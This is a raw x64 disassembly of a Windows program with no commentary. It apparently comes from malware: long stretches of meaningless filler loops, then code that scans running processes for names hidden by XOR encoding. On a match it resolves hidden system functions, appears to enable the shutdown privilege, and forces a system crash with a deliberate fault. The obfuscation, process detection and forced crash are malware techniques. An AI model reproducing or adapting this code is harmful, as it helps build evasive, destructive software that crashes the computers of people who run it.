cmp dword [rsp + 0x274], 0xf
jl 0x1401822b2
jmp 0x140182283
cmp dword [rsp + 0xb2c], 0x19
jle 0x14018279c
mov eax, dword [rsp + 0xb2c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xb3c], eax
mov dword [rsp + 0xb30], 0
jmp 0x140182627
mov eax, dword [rsp + 0xb30]
inc eax
mov dword [rsp + 0xb30], eax
cmp dword [rsp + 0xb30], 5
jge 0x14018277d
mov dword [rsp + 0xb34], 7
mov dword [rsp + 0x760], 0
jmp 0x14018265d
mov eax, dword [rsp + 0x760]
inc eax
mov dword [rsp + 0x760], eax
cmp dword [rsp + 0x760], 2
jge 0x140182700
mov eax, dword [rsp + 0x760]
inc eax
mov dword [rsp + 0x27c], eax
mov eax, dword [rsp + 0x27c]
inc eax
mov dword [rsp + 0x27c], eax
cmp dword [rsp + 0x27c], 2
jne 0x1401826f1
mov dword [rsp + 0x278], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x278]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401826c5
mov eax, dword [rsp + 0x278]
shl eax, 1
mov dword [rsp + 0x278], eax
jmp 0x1401826d6
mov eax, dword [rsp + 0x278]
add eax, 3
mov dword [rsp + 0x278], eax
mov eax, dword [rsp + 0x27c]
imul eax, dword [rsp + 0xb34]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1180], eax
cmp dword [rsp + 0x27c], 3
jl 0x14018267b
jmp 0x14018264d
cmp dword [rsp + 0xb34], 5
jle 0x140182778
mov eax, dword [rsp + 0xb34]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb38], eax
mov dword [rsp + 0x280], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x280]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018274d
mov eax, dword [rsp + 0x280]
shl eax, 1
mov dword [rsp + 0x280], eax
jmp 0x14018275e
mov eax, dword [rsp + 0x280]
add eax, 3
mov dword [rsp + 0x280], eax
mov eax, dword [rsp + 0xb38]
dec eax
mov dword [rsp + 0xb38], eax
cmp dword [rsp + 0xb38], 0
jg 0x14018271d
jmp 0x140182617
mov eax, dword [rsp + 0xb3c]
sub eax, 2
mov dword [rsp + 0xb3c], eax
cmp dword [rsp + 0xb3c], 0
jg 0x14018260a
mov dword [rsp + 0xb40], 0
jmp 0x1401827b9
mov eax, dword [rsp + 0xb40]
inc eax
mov dword [rsp + 0xb40], eax
cmp dword [rsp + 0xb40], 5
jge 0x14018290f
mov dword [rsp + 0xb44], 7
mov dword [rsp + 0x764], 0
jmp 0x1401827ef
mov eax, dword [rsp + 0x764]
inc eax
mov dword [rsp + 0x764], eax
cmp dword [rsp + 0x764], 2
jge 0x140182892
mov eax, dword [rsp + 0x764]
inc eax
mov dword [rsp + 0x288], eax
mov eax, dword [rsp + 0x288]
inc eax
mov dword [rsp + 0x288], eax
cmp dword [rsp + 0x288], 2
jne 0x140182883
mov dword [rsp + 0x284], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x284]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182857
mov eax, dword [rsp + 0x284]
shl eax, 1
mov dword [rsp + 0x284], eax
jmp 0x140182868
mov eax, dword [rsp + 0x284]
add eax, 3
mov dword [rsp + 0x284], eax
mov eax, dword [rsp + 0x288]
imul eax, dword [rsp + 0xb44]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1184], eax
cmp dword [rsp + 0x288], 3
jl 0x14018280d
jmp 0x1401827df
cmp dword [rsp + 0xb44], 5
jle 0x14018290a
mov eax, dword [rsp + 0xb44]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb48], eax
mov dword [rsp + 0x28c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x28c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401828df
mov eax, dword [rsp + 0x28c]
shl eax, 1
mov dword [rsp + 0x28c], eax
jmp 0x1401828f0
mov eax, dword [rsp + 0x28c]
add eax, 3
mov dword [rsp + 0x28c], eax
mov eax, dword [rsp + 0xb48]
dec eax
mov dword [rsp + 0xb48], eax
cmp dword [rsp + 0xb48], 0
jg 0x1401828af
jmp 0x1401827a9
jmp 0x14018224d
jmp 0x140182fef
mov dword [rsp + 0xb4c], 0
jmp 0x140182936
mov eax, dword [rsp + 0xb4c]
inc eax
mov dword [rsp + 0xb4c], eax
cmp dword [rsp + 0xb4c], 5
jge 0x140182fef
mov dword [rsp + 0xb68], 0x44
mov dword [rsp + 0x768], 0
jmp 0x14018296c
mov eax, dword [rsp + 0x768]
inc eax
mov dword [rsp + 0x768], eax
cmp dword [rsp + 0x768], 7
jge 0x140182cc1
mov eax, dword [rsp + 0x768]
add eax, 4
mov dword [rsp + 0x2a8], eax
mov eax, dword [rsp + 0x2a8]
add eax, 4
mov dword [rsp + 0x2a8], eax
cmp dword [rsp + 0x2a8], 0x10
jne 0x140182cae
mov dword [rsp + 0xb50], 0
jmp 0x1401829c7
mov eax, dword [rsp + 0xb50]
inc eax
mov dword [rsp + 0xb50], eax
cmp dword [rsp + 0xb50], 5
jge 0x140182b1d
mov dword [rsp + 0xb54], 7
mov dword [rsp + 0x76c], 0
jmp 0x1401829fd
mov eax, dword [rsp + 0x76c]
inc eax
mov dword [rsp + 0x76c], eax
cmp dword [rsp + 0x76c], 2
jge 0x140182aa0
mov eax, dword [rsp + 0x76c]
inc eax
mov dword [rsp + 0x294], eax
mov eax, dword [rsp + 0x294]
inc eax
mov dword [rsp + 0x294], eax
cmp dword [rsp + 0x294], 2
jne 0x140182a91
mov dword [rsp + 0x290], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x290]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182a65
mov eax, dword [rsp + 0x290]
shl eax, 1
mov dword [rsp + 0x290], eax
jmp 0x140182a76
mov eax, dword [rsp + 0x290]
add eax, 3
mov dword [rsp + 0x290], eax
mov eax, dword [rsp + 0x294]
imul eax, dword [rsp + 0xb54]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1188], eax
cmp dword [rsp + 0x294], 3
jl 0x140182a1b
jmp 0x1401829ed
cmp dword [rsp + 0xb54], 5
jle 0x140182b18
mov eax, dword [rsp + 0xb54]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb58], eax
mov dword [rsp + 0x298], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x298]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182aed
mov eax, dword [rsp + 0x298]
shl eax, 1
mov dword [rsp + 0x298], eax
jmp 0x140182afe
mov eax, dword [rsp + 0x298]
add eax, 3
mov dword [rsp + 0x298], eax
mov eax, dword [rsp + 0xb58]
dec eax
mov dword [rsp + 0xb58], eax
cmp dword [rsp + 0xb58], 0
jg 0x140182abd
jmp 0x1401829b7
mov eax, dword [rsp + 0x2a8]
imul eax, dword [rsp + 0xb68]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x118c], eax
mov dword [rsp + 0xb5c], 0
jmp 0x140182b58
mov eax, dword [rsp + 0xb5c]
inc eax
mov dword [rsp + 0xb5c], eax
cmp dword [rsp + 0xb5c], 5
jge 0x140182cae
mov dword [rsp + 0xb60], 7
mov dword [rsp + 0x770], 0
jmp 0x140182b8e
mov eax, dword [rsp + 0x770]
inc eax
mov dword [rsp + 0x770], eax
cmp dword [rsp + 0x770], 2
jge 0x140182c31
mov eax, dword [rsp + 0x770]
inc eax
mov dword [rsp + 0x174], eax
mov eax, dword [rsp + 0x174]
inc eax
mov dword [rsp + 0x174], eax
cmp dword [rsp + 0x174], 2
jne 0x140182c22
mov dword [rsp + 0x29c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x29c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182bf6
mov eax, dword [rsp + 0x29c]
shl eax, 1
mov dword [rsp + 0x29c], eax
jmp 0x140182c07
mov eax, dword [rsp + 0x29c]
add eax, 3
mov dword [rsp + 0x29c], eax
mov eax, dword [rsp + 0x174]
imul eax, dword [rsp + 0xb60]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1190], eax
cmp dword [rsp + 0x174], 3
jl 0x140182bac
jmp 0x140182b7e
cmp dword [rsp + 0xb60], 5
jle 0x140182ca9
mov eax, dword [rsp + 0xb60]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb64], eax
mov dword [rsp + 0x2a4], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x2a4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182c7e
mov eax, dword [rsp + 0x2a4]
shl eax, 1
mov dword [rsp + 0x2a4], eax
jmp 0x140182c8f
mov eax, dword [rsp + 0x2a4]
add eax, 3
mov dword [rsp + 0x2a4], eax
mov eax, dword [rsp + 0xb64]
dec eax
mov dword [rsp + 0xb64], eax
cmp dword [rsp + 0xb64], 0
jg 0x140182c4e
jmp 0x140182b48
cmp dword [rsp + 0x2a8], 0x14
jl 0x14018298b
jmp 0x14018295c
cmp dword [rsp + 0xb68], 0x28
jle 0x140182e77
mov eax, dword [rsp + 0xb68]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xb78], eax
mov dword [rsp + 0xb6c], 0
jmp 0x140182d02
mov eax, dword [rsp + 0xb6c]
inc eax
mov dword [rsp + 0xb6c], eax
cmp dword [rsp + 0xb6c], 5
jge 0x140182e58
mov dword [rsp + 0xb70], 7
mov dword [rsp + 0x774], 0
jmp 0x140182d38
mov eax, dword [rsp + 0x774]
inc eax
mov dword [rsp + 0x774], eax
cmp dword [rsp + 0x774], 2
jge 0x140182ddb
mov eax, dword [rsp + 0x774]
inc eax
mov dword [rsp + 0x2b0], eax
mov eax, dword [rsp + 0x2b0]
inc eax
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x2b0], 2
jne 0x140182dcc
mov dword [rsp + 0x2ac], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x2ac]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182da0
mov eax, dword [rsp + 0x2ac]
shl eax, 1
mov dword [rsp + 0x2ac], eax
jmp 0x140182db1
mov eax, dword [rsp + 0x2ac]
add eax, 3
mov dword [rsp + 0x2ac], eax
mov eax, dword [rsp + 0x2b0]
imul eax, dword [rsp + 0xb70]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1194], eax
cmp dword [rsp + 0x2b0], 3
jl 0x140182d56
jmp 0x140182d28
cmp dword [rsp + 0xb70], 5
jle 0x140182e53
mov eax, dword [rsp + 0xb70]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb74], eax
mov dword [rsp + 0x2b4], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x2b4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182e28
mov eax, dword [rsp + 0x2b4]
shl eax, 1
mov dword [rsp + 0x2b4], eax
jmp 0x140182e39
mov eax, dword [rsp + 0x2b4]
add eax, 3
mov dword [rsp + 0x2b4], eax
mov eax, dword [rsp + 0xb74]
dec eax
mov dword [rsp + 0xb74], eax
cmp dword [rsp + 0xb74], 0
jg 0x140182df8
jmp 0x140182cf2
mov eax, dword [rsp + 0xb78]
sub eax, 3
mov dword [rsp + 0xb78], eax
cmp dword [rsp + 0xb78], 0
jg 0x140182ce5
mov dword [rsp + 0xb7c], 0
jmp 0x140182e94
mov eax, dword [rsp + 0xb7c]
inc eax
mov dword [rsp + 0xb7c], eax
cmp dword [rsp + 0xb7c], 5
jge 0x140182fea
mov dword [rsp + 0xb80], 7
mov dword [rsp + 0x778], 0
jmp 0x140182eca
mov eax, dword [rsp + 0x778]
inc eax
mov dword [rsp + 0x778], eax
cmp dword [rsp + 0x778], 2
jge 0x140182f6d
mov eax, dword [rsp + 0x778]
inc eax
mov dword [rsp + 0x2bc], eax
mov eax, dword [rsp + 0x2bc]
inc eax
mov dword [rsp + 0x2bc], eax
cmp dword [rsp + 0x2bc], 2
jne 0x140182f5e
mov dword [rsp + 0x2b8], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x2b8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182f32
mov eax, dword [rsp + 0x2b8]
shl eax, 1
mov dword [rsp + 0x2b8], eax
jmp 0x140182f43
mov eax, dword [rsp + 0x2b8]
add eax, 3
mov dword [rsp + 0x2b8], eax
mov eax, dword [rsp + 0x2bc]
imul eax, dword [rsp + 0xb80]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1198], eax
cmp dword [rsp + 0x2bc], 3
jl 0x140182ee8
jmp 0x140182eba
cmp dword [rsp + 0xb80], 5
jle 0x140182fe5
mov eax, dword [rsp + 0xb80]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb84], eax
mov dword [rsp + 0x2c0], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x2c0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182fba
mov eax, dword [rsp + 0x2c0]
shl eax, 1
mov dword [rsp + 0x2c0], eax
jmp 0x140182fcb
mov eax, dword [rsp + 0x2c0]
add eax, 3
mov dword [rsp + 0x2c0], eax
mov eax, dword [rsp + 0xb84]
dec eax
mov dword [rsp + 0xb84], eax
cmp dword [rsp + 0xb84], 0
jg 0x140182f8a
jmp 0x140182e84
jmp 0x140182926
lea r8, [rsp + 0x14ec]
mov edx, 0x1000
lea rcx, [rsp + 0x1510]
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x140183b19
mov eax, dword [rsp + 0x14ec]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x10b0], eax
mov dword [rsp + 0x77c], 0
jmp 0x140183046
mov eax, dword [rsp + 0x77c]
inc eax
mov dword [rsp + 0x77c], eax
mov eax, dword [rsp + 0x10b0]
cmp dword [rsp + 0x77c], eax
jae 0x140183b19
mov eax, dword [rsp + 0x77c]
mov eax, dword [rsp + rax*4 + 0x1510]
mov dword [rsp + 0x1078], eax
mov r8d, dword [rsp + 0x1078]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x1090], rax
cmp qword [rsp + 0x1090], 0
jne 0x14018309c
jmp 0x140183b14
lea r9, [rsp + 0x14f0]
mov r8d, 0x2000
lea rdx, [rsp + 0x2510]
mov rcx, qword [rsp + 0x1090]
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x140183b06
mov dword [rsp + 0x780], 0
jmp 0x1401830e4
mov eax, dword [rsp + 0x780]
inc eax
mov dword [rsp + 0x780], eax
mov eax, dword [rsp + 0x780]
mov qword [rsp + 0x1360], rax
mov ecx, dword [rsp + 0x14f0]
xor edx, edx
mov eax, ecx
mov ecx, 8
div rcx
mov rcx, qword [rsp + 0x1360]
cmp rcx, rax
jae 0x140183b06
mov eax, dword [rsp + 0x780]
mov r9d, 0x104
lea r8, [rsp + 0x4510]
mov rdx, qword [rsp + rax*8 + 0x2510]
mov rcx, qword [rsp + 0x1090]
call sub.PSAPI.DLL_GetModuleFileNameExW
test eax, eax
je 0x140183b01
lea rcx, [rsp + 0x4510]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
test rax, rax
je 0x140183180
lea rcx, [rsp + 0x4510]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
mov edx, 0x104
lea rcx, [rsp + 0x4720]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rax, [rsp + 0x14f8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_26
rep stosb byte [rdi], al
lea rax, [rsp + 0x9e4]
mov qword [rsp + 0x1368], rax
lea rax, [rsp + 0x9d8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x13f8]
lea rcx, [0x140211c80]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_22
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0xa
movzx eax, word [rsp + rax + 0x13f8]
test eax, eax
je 0x1401831f6
mov dword [rsp + 0x1064], 1
jmp 0x140183201
mov dword [rsp + 0x1064], 0
movzx eax, byte [rsp + 0x1064]
test eax, eax
je 0x14018327c
mov dword [rsp + 0x98], 0
jmp 0x14018322a
mov eax, dword [rsp + 0x98]
inc eax
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0xb
jge 0x14018327c
movsxd rax, dword [rsp + 0x98]
movzx eax, word [rsp + rax*2 + 0x13f8]
mov dword [rsp + 0x10b4], eax
mov eax, dword [rsp + 0x98]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10b4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x98]
mov word [rsp + rcx*2 + 0x13f8], ax
jmp 0x14018321a
lea rax, [rsp + 0x13f8]
mov qword [rsp + 0x1460], rax
lea rax, [rsp + 0x9d9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1410]
lea rcx, [0x140211c98]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_26
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0xc
movzx eax, word [rsp + rax + 0x1410]
test eax, eax
je 0x1401832de
mov dword [rsp + 0x1068], 1
jmp 0x1401832e9
mov dword [rsp + 0x1068], 0
movzx eax, byte [rsp + 0x1068]
test eax, eax
je 0x140183364
mov dword [rsp + 0x9c], 0
jmp 0x140183312
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
cmp dword [rsp + 0x9c], 0xd
jge 0x140183364
movsxd rax, dword [rsp + 0x9c]
movzx eax, word [rsp + rax*2 + 0x1410]
mov dword [rsp + 0x10b8], eax
mov eax, dword [rsp + 0x9c]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10b8]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x9c]
mov word [rsp + rcx*2 + 0x1410], ax
jmp 0x140183302
lea rax, [rsp + 0x1410]
mov qword [rsp + 0x1468], rax
lea rax, [rsp + 0x9da]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1430]
lea rcx, [0x140211cb8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_26
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0xc
movzx eax, word [rsp + rax + 0x1430]
test eax, eax
je 0x1401833c6
mov dword [rsp + 0x106c], 1
jmp 0x1401833d1
mov dword [rsp + 0x106c], 0
movzx eax, byte [rsp + 0x106c]
test eax, eax
je 0x14018344c
mov dword [rsp + 0xa0], 0
jmp 0x1401833fa
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0xa0], 0xd
jge 0x14018344c
movsxd rax, dword [rsp + 0xa0]
movzx eax, word [rsp + rax*2 + 0x1430]
mov dword [rsp + 0x10bc], eax
mov eax, dword [rsp + 0xa0]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10bc]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xa0]
mov word [rsp + rcx*2 + 0x1430], ax
jmp 0x1401833ea
lea rax, [rsp + 0x1430]
mov qword [rsp + 0x1470], rax
lea rax, [rsp + 0x9db]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x14b0]
lea rcx, str.aPMYZVpPd_v_n
mov rdi, rax
mov rsi, rcx
mov ecx, gethostname
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0x1b
movzx eax, word [rsp + rax + 0x14b0]
test eax, eax
je 0x1401834ae
mov dword [rsp + 0x1070], 1
jmp 0x1401834b9
mov dword [rsp + 0x1070], 0
movzx eax, byte [rsp + 0x1070]
test eax, eax
je 0x140183534
mov dword [rsp + 0xa4], 0
jmp 0x1401834e2
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 0x1c
jge 0x140183534
movsxd rax, dword [rsp + 0xa4]
movzx eax, word [rsp + rax*2 + 0x14b0]
mov dword [rsp + 0x10c0], eax
mov eax, dword [rsp + 0xa4]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10c0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xa4]
mov word [rsp + rcx*2 + 0x14b0], ax
jmp 0x1401834d2
lea rax, [rsp + 0x14b0]
mov qword [rsp + 0x1478], rax
lea rax, [rsp + 0x1460]
mov qword [rsp + 0x1450], rax
lea rax, [rsp + 0x1480]
mov qword [rsp + 0x1458], rax
lea rax, [rsp + 0x1488]
lea rcx, [rsp + 0x1450]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x14a0]
lea rcx, [rsp + 0x1488]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x1368]
lea rdx, [rsp + 0x14a0]
lea rcx, [rsp + 0x14f8]
call fcn.14015afa0
nop
lea rax, [rsp + 0x14f8]
mov qword [rsp + 0x10d8], rax
mov rax, qword [rsp + 0x10d8]
mov rax, qword [rax]
mov qword [rsp + 0x1098], rax
mov rax, qword [rsp + 0x10d8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x1370], rax
jmp 0x140183609
mov rax, qword [rsp + 0x1098]
add rax, 8
mov qword [rsp + 0x1098], rax
mov rax, qword [rsp + 0x1370]
cmp qword [rsp + 0x1098], rax
je 0x140183af4
mov rax, qword [rsp + 0x1098]
mov qword [rsp + 0x1378], rax
mov rax, qword [rsp + 0x1378]
mov rax, qword [rax]
mov qword [rsp + 0x1380], rax
mov rdx, qword [rsp + 0x1380]
lea rcx, [rsp + 0x4720]
call sub.VCRUNTIME140.dll_wcsstr
test rax, rax
je 0x140183aef
mov ecx, dword [rsp + 0x1078]
call fcn.140192ff0
lea rax, [rsp + 0x9dc]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x10f8]
lea rcx, str._GXtR_MJNkNTHV___D
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_send
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x12
movsx eax, byte [rsp + rax + 0x10f8]
test eax, eax
je 0x1401836be
mov dword [rsp + 0x1080], 1
jmp 0x1401836c9
mov dword [rsp + 0x1080], 0
movzx eax, byte [rsp + 0x1080]
test eax, eax
je 0x140183743
mov dword [rsp + 0xa8], 0
jmp 0x1401836f2
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 0x13
jge 0x140183743
movsxd rax, dword [rsp + 0xa8]
movsx eax, byte [rsp + rax + 0x10f8]
mov dword [rsp + 0x10c4], eax
mov eax, dword [rsp + 0xa8]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10c4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xa8]
mov byte [rsp + rcx + 0x10f8], al
jmp 0x1401836e2
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0x1388], rax
lea rax, [rsp + 0x9dd]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x10a0]
lea rcx, [0x140211c28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 9
movsx eax, byte [rsp + rax + 0x10a0]
test eax, eax
je 0x1401837a5
mov dword [rsp + 0x1084], 1
jmp 0x1401837b0
mov dword [rsp + 0x1084], 0
movzx eax, byte [rsp + 0x1084]
test eax, eax
je 0x14018382a
mov dword [rsp + 0xac], 0
jmp 0x1401837d9
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0xa
jge 0x14018382a
movsxd rax, dword [rsp + 0xac]
movsx eax, byte [rsp + rax + 0x10a0]
mov dword [rsp + 0x10c8], eax
mov eax, dword [rsp + 0xac]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10c8]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xac]
mov byte [rsp + rcx + 0x10a0], al
jmp 0x1401837c9
lea rax, [rsp + 0x10a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x1390], rax
mov rdx, qword [rsp + 0x1388]
mov rcx, qword [rsp + 0x1390]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x13a8], rax
lea rax, [rsp + 0x9de]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x10e0]
lea rcx, str.GfT_D_q_IXxLM_3B
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recvfrom
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x10
movsx eax, byte [rsp + rax + 0x10e0]
test eax, eax
je 0x1401838b3
mov dword [rsp + 0x1088], 1
jmp 0x1401838be
mov dword [rsp + 0x1088], 0
movzx eax, byte [rsp + 0x1088]
test eax, eax
je 0x140183938
mov dword [rsp + 0xb0], 0
jmp 0x1401838e7
mov eax, dword [rsp + 0xb0]
inc eax
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0x11
jge 0x140183938
movsxd rax, dword [rsp + 0xb0]
movsx eax, byte [rsp + rax + 0x10e0]
mov dword [rsp + 0x10cc], eax
mov eax, dword [rsp + 0xb0]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10cc]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xb0]
mov byte [rsp + rcx + 0x10e0], al
jmp 0x1401838d7
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0x1398], rax
lea rax, [rsp + 0x9df]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x13e0]
lea rcx, [0x140211c50]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_sendto
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 9
movzx eax, word [rsp + rax + 0x13e0]
test eax, eax
je 0x14018399a
mov dword [rsp + 0x108c], 1
jmp 0x1401839a5
mov dword [rsp + 0x108c], 0
movzx eax, byte [rsp + 0x108c]
test eax, eax
je 0x140183a20
mov dword [rsp + 0xb4], 0
jmp 0x1401839ce
mov eax, dword [rsp + 0xb4]
inc eax
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0xa
jge 0x140183a20
movsxd rax, dword [rsp + 0xb4]
movzx eax, word [rsp + rax*2 + 0x13e0]
mov dword [rsp + 0x10d0], eax
mov eax, dword [rsp + 0xb4]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x10d0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xb4]
mov word [rsp + rcx*2 + 0x13e0], ax
jmp 0x1401839be
lea rax, [rsp + 0x13e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x13a0], rax
mov rdx, qword [rsp + 0x1398]
mov rcx, qword [rsp + 0x13a0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x13b0], rax
mov rax, qword [rsp + 0x13a8]
mov qword [rsp + 0x13b8], rax
mov rax, qword [rsp + 0x13b0]
mov qword [rsp + 0x13c8], rax
mov rax, qword [rsp + 0x13b8]
mov qword [rsp + 0x13c0], rax
lea r9, [rsp + 0x14e8]
xor r8d, r8d
mov dl, 1
mov ecx, reloc.WS2_32.dll_send
call qword [rsp + 0x13c0]
mov dword [rsp + 0x119c], eax
mov rax, qword [rsp + 0x13c8]
mov qword [rsp + 0x13d0], rax
lea rax, [rsp + 0x14f4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call qword [rsp + 0x13d0]
xor ecx, ecx
int 0x29
mov dword [0], 0x1565
jmp 0x1401835f5
lea rcx, [rsp + 0x14f8]
call fcn.140193810
jmp 0x1401830d4
mov rcx, qword [rsp + 0x1090]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140183036
xor eax, eax
cmp eax, 1
je 0x14018449b
xor eax, eax
test eax, eax
je 0x140184298
mov dword [rsp + 0xb88], 0
jmp 0x140183b4b
mov eax, dword [rsp + 0xb88]
inc eax
